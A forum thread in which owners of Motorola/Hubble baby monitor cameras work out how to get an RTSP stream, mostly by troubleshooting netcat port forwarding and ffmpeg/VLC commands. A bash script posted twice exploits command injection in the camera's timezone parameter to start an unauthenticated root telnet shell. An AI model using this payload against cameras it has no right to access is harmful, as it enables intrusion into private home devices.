problem with MBP85C camera about hubble-sniffer

[simpz]

I managed to get RTSP without downgrading the firmware if anyone is still interested.
https://randywestergren.com/unauthenticated-remote-code-execution-in-motorola-baby-monitors/
See comments on this.

[simpz]

Did you get video out okay with your command? Just interested to know if it worked for you.

To be honest I found the h264 a bit rough with my camera (quite a lot of bad mpeg packets), I had some horrors like re-encoding it which helped or even worse twice re-encoded with different encoders to fix up.

ffmpeg -rtsp_transport tcp -i 'rtsp://user:[email protected]:6668/blinkhd' -listen 1 -ar 44100 -vcodec libx264 -bsf:v h264_mp4toannexb -preset ultrafast -tune zerolatency -r 24 -async 1 -acodec libmp3lame -b:a 128k -method HEAD -f mpegts http://:55555

or

#!/bin/bash

ffmpeg -rtsp_transport tcp -i 'rtsp://user:[email protected]:6668/blinkhd' -listen 1 -ar 44100 -vcodec libx264 -bsf:v h264_mp4toannexb -preset ultrafast -tune zerolatency -r 24 -async 1 -acodec
libmp3lame -b:a 128k -f mpegts http://localhost:55554 &

sleep 10

cvlc 'http://localhost:55554' :network-caching=1000 --sout "#transcode{acodec=mp3,ab=128}:standard{access=http,mux=ts,dst=:55555}" --sout-keep

Maybe worth nothing to you..just thought I'd mention.

[simpz]

Manually it should be:

telnet cam.lan
Once logged in to the camera, it should be this exact command:

mkfifo /tmp/recorder/backpipe
nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

They need to be in a pipe to perform bi-directional comms between the two nc's

I just wrapped this in a loop so it doesn't stop after the first connection disconnects
while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; echo hi ; done &

[simpz]

This exact command to test, it has nothing to do with the apps credentials.
and the username is just "user" and password is just "pass".
vlc 'rtsp://user:[email protected]:6668/blinkhd' :network-caching=1000 :rtsp-tcp

Try a telnet to
telnet 192.168.4.20 6668
to test the open port, looks like it isn't listening when you get connection refused.

[simpz]

To be honest I didn't alter the camera in any way, which I was actually quite happy about. My Camera would always reboot about 3:00PM, I'd just cron this script a few times over the hour after that, to hack the service back in place:

#!/bin/bash

# Script to backdoor

# Test if telnet is inplace if so, hack is still in place
nc -z cam.lan 23 
if [ $? -eq 0 ] ; then
     echo Hack still in place
     exit 0
fi

echo "Setting up telnetd"
curl -m 20 -v -g 'http://cam.lan/?action=command&command=set_city_timezone&value=$(IFS=''%20'';/usr/sbin/telnetd${IFS}-l${IFS}/bin/sh)'

echo "Camera Uptime"
( sleep 2 ; echo 'cat /proc/uptime' ; sleep 2; exit ) | telnet cam.lan | grep -Po '(\d+\.)+\d+ (\d+\.)+\d+' | cut -d' ' -f1 | while read n ; do echo Uptime is  `units -1v "$n seconds" hours`; done

sleep 1

echo "Set up Streaming port redir"
( sleep 2 ; echo "mkfifo /tmp/recorder/backpipe" ; sleep 1 ; trap "" HUP; sleep 1 ; echo '( trap "" HUP; while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done ) >/dev/null 2>/dev/null </dev/null &' ; sleep 2; kill -9 $$ ) | telnet cam.lan

I guess you could add a
( while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done ) >/dev/null 2>/dev/null </dev/null &

to the bottom of /mnt/skyeye/msloader_go.sh before the exit 0

But I haven't tried this, I haven't got the camera anymore to test this, and don't blame me if it doesn't work or stops the camera booting! I don't even know if this partition is R/W by default. If I was going down this road I'd probably put this is in a script somewhere (e.g. /mnt/skyeye/bin/rtsphack), test on the cli to see if okay and call this backgrounded from this file msloader_go.sh (i.e. /mnt/skyeye/bin/rtsphack & before the exit 0) to minimise the risk a bit. But none of this has been tested! This is for someone else to take further if they like.

When I bought this device for quite a lot of money and my partner wouldn't have been happy if I bricked it, so I liked the ability to just apply the hack with no permanent changes to the camera, a reboot would fix anything.

[simpz]

I tried to use this bash script:

* this works fine first time

* When RTSP queue died, script is unable to open again queue

What I have to change on script?

The script was a quick knocked together thing as demo. It assumes that if port 23 telnet is still open the camera hasn't rebooted. So multiple runs won't restart the streaming piece as I personally never saw it die. I guess the first step would be to telnet into the camera and see if the nc's are still running from ps.

[exussum12]

This was explicitly removed in the firmware

+# Remove unused plugin from ver
+# 1854 - Laster than Ver. 1854-03.10.30.RC_00
+rm -f /mnt/skyeye/lib/skyeye/plugin_streaming.so
+rm -f /mnt/skyeye/lib/skyeye/plugin_upnp.so

Work around is currently downgrade firmware, and use your router to block ota.hubble.in resolving so the camera cant update

[exussum12]

Thanks for that! Struggeling to get working at the min

ps shows

 4638 root       820 S    nc 127.0.0.1 6667
 4639 root       820 S    nc -l -p 6668

Netstat shows

tcp        0      0 127.0.0.1:6667          0.0.0.0:*               LISTEN      820/msloader
tcp        0      0 0.0.0.0:6668            0.0.0.0:*               LISTEN      4737/nc

but

ffplay rtsp://user:pass@ip:6668/blinkhd

Just seems to hang

Any suggestions?

[exussum12]

Command was wrong

ffmpeg -rtsp_transport tcp rtsp://user:pass@ip:6668/blinkhd

is the correct command

[pilot1981]

thanks.

very strange, but for me it doesn't work...

I only see this in netstat:
tcp 0 0 127.0.0.1:6667 0.0.0.0:* LISTEN 820/msloader

I don't have also this:
tcp 0 0 0.0.0.0:6668 0.0.0.0:*

If I use this command:
nc -l -p 6668 1>/tmp/recorder/backpipe

it open port 6668, but when I try to connect using vlc, it doesn't works and webcam close connection...

VLC media player 3.0.18 Vetinari (revision 3.0.18-0-ge9eceaed4d)
[00007fc864d1a940] main libvlc: Esecuzione di vlc con l'interfaccia predefinita. Usa 'cvlc' per utilizzare vlc senza interfaccia.
CoreSVG has logged an error. Set environment variabe "CORESVG_VERBOSE" to learn more.
2023-08-15 23:43:05.803 VLC[22904:6451327] Can't find app with identifier com.apple.iTunes
2023-08-15 23:43:05.877 VLC[22904:6451327] Can't find app with identifier com.spotify.client
[00007fc866dfd9a0] live555 demux error: Failed to connect with rtsp://192.168.4.20:6668/blinkhd
[00007fc868c494f0] main stream error: connection failed: Connection refused
[00007fc868c494f0] satip stream error: Failed to connect to RTSP server 192.168.4.20:6668
[00007fc868c494f0] main stream error: connection failed: Connection refused
[00007fc868c494f0] access_realrtsp stream error: cannot connect to 192.168.4.20:6668

do you used user and password used in hubble app? I can use dot in username?

[pilot1981]

all seems to works fine on webcam cli, but I'm not able to connect?

which credentials are you using? I tried app credentials and root...but don't help...

[pilot1981]

when I start VLC comand, net process dead on webcam and I receive closed connection result on my client:

telnet 192.168.4.20 6668
Trying 192.168.4.20...
Connected to 192.168.4.20.
Escape character is '^]'.

the same with vlc client:

vlc 'rtsp://user:[email protected]:6668/blinkhd' :network-caching=1000 :rtsp-tcp
VLC media player 3.0.18 Vetinari (revision 3.0.18-0-ge9eceaed4d)
[00007fb8d5c25580] main libvlc: Esecuzione di vlc con l'interfaccia predefinita. Usa 'cvlc' per utilizzare vlc senza interfaccia.
[00007fb8d5d364f0] live555 demux error: Failed to connect with rtsp://192.168.4.20:6668/blinkhd
[00007fb8d5f41700] main stream error: connection failed: Connection refused
[00007fb8d5f41700] satip stream error: Failed to connect to RTSP server 192.168.4.20:6668
[00007fb8d5f41700] main stream error: connection failed: Connection refused
[00007fb8d5f41700] access_realrtsp stream error: cannot connect to 192.168.4.20:6668
CoreSVG has logged an error. Set environment variabe "CORESVG_VERBOSE" to learn more.
[00007fb8d5f64b00] live555 demux error: Failed to connect with rtsp://192.168.4.20:6668/blinkhd
[00007fb8d6a1bdb0] main stream error: connection failed: Connection refused
[00007fb8d6a1bdb0] satip stream error: Failed to connect to RTSP server 192.168.4.20:6668
[00007fb8d6a1bdb0] main stream error: connection failed: Connection refused
[00007fb8d6a1bdb0] access_realrtsp stream error: cannot connect to 192.168.4.20:6668
[00007fb8d5d67fe0] live555 demux error: Failed to connect with rtsp://192.168.4.20:6668/blinkhd

the same happen using ffmpeg client:

ffmpeg -rtsp_transport tcp -i 'rtsp://user:[email protected]:6668/blinkhd' -listen 1 -ar 44100 -vcodec libx264 -bsf:v h264_mp4toannexb -preset ultrafast -tune zerolatency -r 24 -async 1 -acodec libmp3lame -b:a 128k -method HEAD -f mpegts http://:55555
ffmpeg version 6.0 Copyright (c) 2000-2023 the FFmpeg developers
built with Apple clang version 13.0.0 (clang-1300.0.29.30)
configuration: --prefix=/usr/local/Cellar/ffmpeg/6.0 --enable-shared --enable-pthreads --enable-version3 --cc=clang --host-cflags= --host-ldflags= --enable-ffplay --enable-gnutls --enable-gpl --enable-libaom --enable-libaribb24 --enable-libbluray --enable-libdav1d --enable-libmp3lame --enable-libopus --enable-librav1e --enable-librist --enable-librubberband --enable-libsnappy --enable-libsrt --enable-libsvtav1 --enable-libtesseract --enable-libtheora --enable-libvidstab --enable-libvmaf --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxml2 --enable-libxvid --enable-lzma --enable-libfontconfig --enable-libfreetype --enable-frei0r --enable-libass --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-libspeex --enable-libsoxr --enable-libzmq --enable-libzimg --disable-libjack --disable-indev=jack --enable-videotoolbox --enable-audiotoolbox
libavutil 58. 2.100 / 58. 2.100
libavcodec 60. 3.100 / 60. 3.100
libavformat 60. 3.100 / 60. 3.100
libavdevice 60. 1.100 / 60. 1.100
libavfilter 9. 3.100 / 9. 3.100
libswscale 7. 1.100 / 7. 1.100
libswresample 4. 10.100 / 4. 10.100
libpostproc 57. 1.100 / 57. 1.100
rtsp://user:[email protected]:6668/blinkhd: Invalid data found when processing input

where I have to put script to open RTSP flow every day?

[pilot1981]

Hi,
I think I found the problem:

#mkfifo /tmp/recorder/backpipe

mkfifo: /tmp/recorder/backpipe: File exists

#nc 127.0.0.1 6667 0</tmp/recorder/backpipe

#ps | grp nc

->no any process active with nc command...

if i use this comand:

nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

I only see this process/port opened:

1161 root 820 nc -l -p 6668

this process don't opened any port on 6668...

[simpz]

The command
nc 127.0.0.1 6667 0</tmp/recorder/backpipe
,will do nothing on it's own it needs to be in a pipeline with the listening nc and is pointless to run.

It needs to be in a pipeline:
nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

i.e. nc is outputing video via the pipe to the nc -l, but the backpipe is taking the output from the server to complete the TCP connection for the server and this goes back into the connecting nc.

This is just a port forward hack, there maybe another way of doing this (better) on Linux but the CLI isn't very rich on the camera but there maybe another way.

All this is doing is taking port inbound 6668 TCP and port forwarding to port 6667 on loopback 127.0.0.1.

Running this,
netstat -apn | grep 6667

Is the build in process listening on 6667 on the loopback interface, I can't remember even the process name.

[pilot1981]

ok, thanks.

when I launch nc, I see it on webcam:

tcp 127.0.0.1:6667 0.0.0.0:* LISTEN 815/msloader
tcp 0.0.0.0:6668 0.0.0.0:* LISTEN 1071/nc
tcp 127.0.0.1:58730 127.0.0.1:6667 TIME_WAIT

and only one nc -l -p 6668 process...

but when I launch vlc command, ports remain opened but I see nc process died...I don't understand why?!

[simpz]

If you kill all nc's and rerun the pipeline command what does
ps | grep nc
show?

[pilot1981]

only one process:

1258 root nc -l -p 6668

[exussum12]

To be honest I found the h264 a bit rough with my camera (quite a lot of bad mpeg packets), I had some horrors like re-encoding it which helped or even worse twice re-encoded with different encoders to fix up.

Same, quality seems poor but it does work. ffplay complains quite a lot about it but it does display

[simpz]

To be honest I found the h264 a bit rough with my camera (quite a lot of bad mpeg packets), I had some horrors like re-encoding it which helped or even worse twice re-encoded with different encoders to fix up.

Same, quality seems poor but it does work. ffplay complains quite a lot about it but it does display

I found the image quality itself okay e.g. resolution and update rate (equal to the app if not better when viewed via VLC), but just the dodgy h264 encode. If this is fixed up by re-encoding it mostly stable.

[pilot1981]

do you have problem of nc process died when you launch vlc command...?!

[simpz]

@pilot1981

If you leave the command in a shell in the foreground you'll see when the first nc dies when you connect.
nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

[pilot1981]

I see first nc died, but died also second nc

how may nc process I have to see?

[pilot1981]

I see first nc died, but died also second nc

how may nc process I have to see?

[simpz]

That is expected, the nc's should die after a single connection is connected then terminated. This will only allow one connection at a time also.

You can keep it running by putting this in a loop (still a single connection though), to restart the listener, after each connection closes:
while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done

As I say this is a grotty hack to get some rtsp out of this and a further grotty hack to get port redirection to work with it's limited CLI toolset.

[simpz]

Or even for debug stick and echo in the loop and see if it's constantly restarting, or (as it should be) just on a reconnection:

while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; echo restarting; done

[pilot1981]

Ok, shell script modified and launched.

when I call one time VLC, I see one restarting messages in webcam console…

[simpz]

If from another machine you

telnet cam.lan 6668
Trying 192.168.x.y
Connected to localhost.
Escape character is '^]'.

There should be no restarting message until you quit this telnet session.

[pilot1981]

Hi,

1. I started the while cycle on webcam
2. I started vlc client on host A
3. webcam console say "restarting" two times
4. I started telnet 192.168.2.40 6668 on host B (closed itself very often)
5. webcam console say "restarting" one more time

what means?

[simpz]

I'm not sure why this might be, and working for others, maybe your camera is a bit different.
Next step would probably be to wireshark/tcpdump the traffic to the camera.

[pilot1981]

You tested it on MBP86C?

Which traffic I have to capture?

[simpz]

Mine was an MBP667. Not sure what other @exussum12 has as this works for him too.
I'd have thought a

tcpdump -i intetfacename port 6668 -w /tmp/rtsp.cap

, where interfacename is the ethernet interface use to connect to the camera.

And load and decode the RTSP (if it gets that far) in wireshark.

[exussum12]

I have Motorola MBP853 and its working fine

[pilot1981]

tcpdump -i intetfacename port 6668 -w /tmp/rtsp.cap

rtsp.zip

[pilot1981]

.118 is my PC and .20 is motorola webcam

I see many reset messages from webcam..

[simpz]

Sadly I just don't see any RTSP traffic from the camera at all. I don't really see why as the ports from msloader look open and should port forward through the named pipe and the standard pipe to the nc process. Sadly I'm at a bit of a loss.

[pilot1981]

I think it's a trivial problem...I must have done something wrong! :-) I will summarize the following key elements:

tcp 0 0 127.0.0.1:6667 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:6668 0.0.0.0:* LISTEN

5126 root 820 S nc -l -p 6668
5479 root 820 S grep 666

then I send this command in webcam cli:
nc 127.0.0.1 6667 0/tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

now what I have to check again?

[pilot1981]

if I open VLC happen:

1. process nc -l -p 6668 si died
2. tcp connection on 6668 port is closed

what am I doing wrong?

[simpz]

I guess to check the FIFO needs to be in place:

rm -f  /tmp/recorder/backpipe
mkfifo /tmp/recorder/backpipe
nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

And you had a missing '<' in the above command line but that maybe was just formatting in the forum chat...

[pilot1981]

I guess to check the FIFO needs to be in place:

rm -f  /tmp/recorder/backpipe
mkfifo /tmp/recorder/backpipe
nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

And you had a missing '<' in the above command line but that maybe was just formatting in the forum chat...

great job: now it works!!!!!!!!!!

thanks very muche for your help!!!!!

[simpz]

I guess to check the FIFO needs to be in place:

rm -f  /tmp/recorder/backpipe
mkfifo /tmp/recorder/backpipe
nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe

And you had a missing '<' in the above command line but that maybe was just formatting in the forum chat...

great job: now it works!!!!!!!!!!

thanks very muche for your help!!!!!

That's good news!

[pilot1981]

To be honest I didn't alter the camera in any way, which I was actually quite happy about. My Camera would always reboot about 3:00PM, I'd just cron this script a few times over the hour after that, to hack the service back in place:

#!/bin/bash

# Script to backdoor

# Test if telnet is inplace if so, hack is still in place
nc -z cam.lan 23 
if [ $? -eq 0 ] ; then
     echo Hack still in place
     exit 0
fi

echo "Setting up telnetd"
curl -m 20 -v -g 'http://cam.lan/?action=command&command=set_city_timezone&value=$(IFS=''%20'';/usr/sbin/telnetd${IFS}-l${IFS}/bin/sh)'

echo "Camera Uptime"
( sleep 2 ; echo 'cat /proc/uptime' ; sleep 2; exit ) | telnet cam.lan | grep -Po '(\d+\.)+\d+ (\d+\.)+\d+' | cut -d' ' -f1 | while read n ; do echo Uptime is  `units -1v "$n seconds" hours`; done

sleep 1

echo "Set up Streaming port redir"
( sleep 2 ; echo "mkfifo /tmp/recorder/backpipe" ; sleep 1 ; trap "" HUP; sleep 1 ; echo '( trap "" HUP; while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done ) >/dev/null 2>/dev/null </dev/null &' ; sleep 2; kill -9 $$ ) | telnet cam.lan

I guess you could add a ( while true ; do nc 127.0.0.1 6667 0</tmp/recorder/backpipe | nc -l -p 6668 1>/tmp/recorder/backpipe ; done ) >/dev/null 2>/dev/null </dev/null &

to the bottom of /mnt/skyeye/msloader_go.sh before the exit 0

But I haven't tried this, I haven't got the camera anymore to test this, and don't blame me if it doesn't work or stops the camera booting! I don't even know if this partition is R/W by default. If I was going down this road I'd probably put this is in a script somewhere (e.g. /mnt/skyeye/bin/rtsphack), test on the cli to see if okay and call this backgrounded from this file msloader_go.sh (i.e. /mnt/skyeye/bin/rtsphack & before the exit 0) to minimise the risk a bit. But none of this has been tested! This is for someone else to take further if they like.

When I bought this device for quite a lot of money and my partner wouldn't have been happy if I bricked it, so I liked the ability to just apply the hack with no permanent changes to the camera, a reboot would fix anything.

I tried to use this bash script:

• this works fine first time
• When RTSP queue died, script is unable to open again queue

What I have to change on script?

[pilot1981]

Thanks for suggestions! I go to do some test!

do you know right image snapshot URL?

http://192.168.4.20/cgi/jpg/image.cgi Seems don’t working…

[simpz]

I think this was disabled with a previous firmware update due to security concerns, I don't know this one sadly.

[pilot1981]

For me could be interesting recover snapshot feature…I don’t know from where I have to start…?!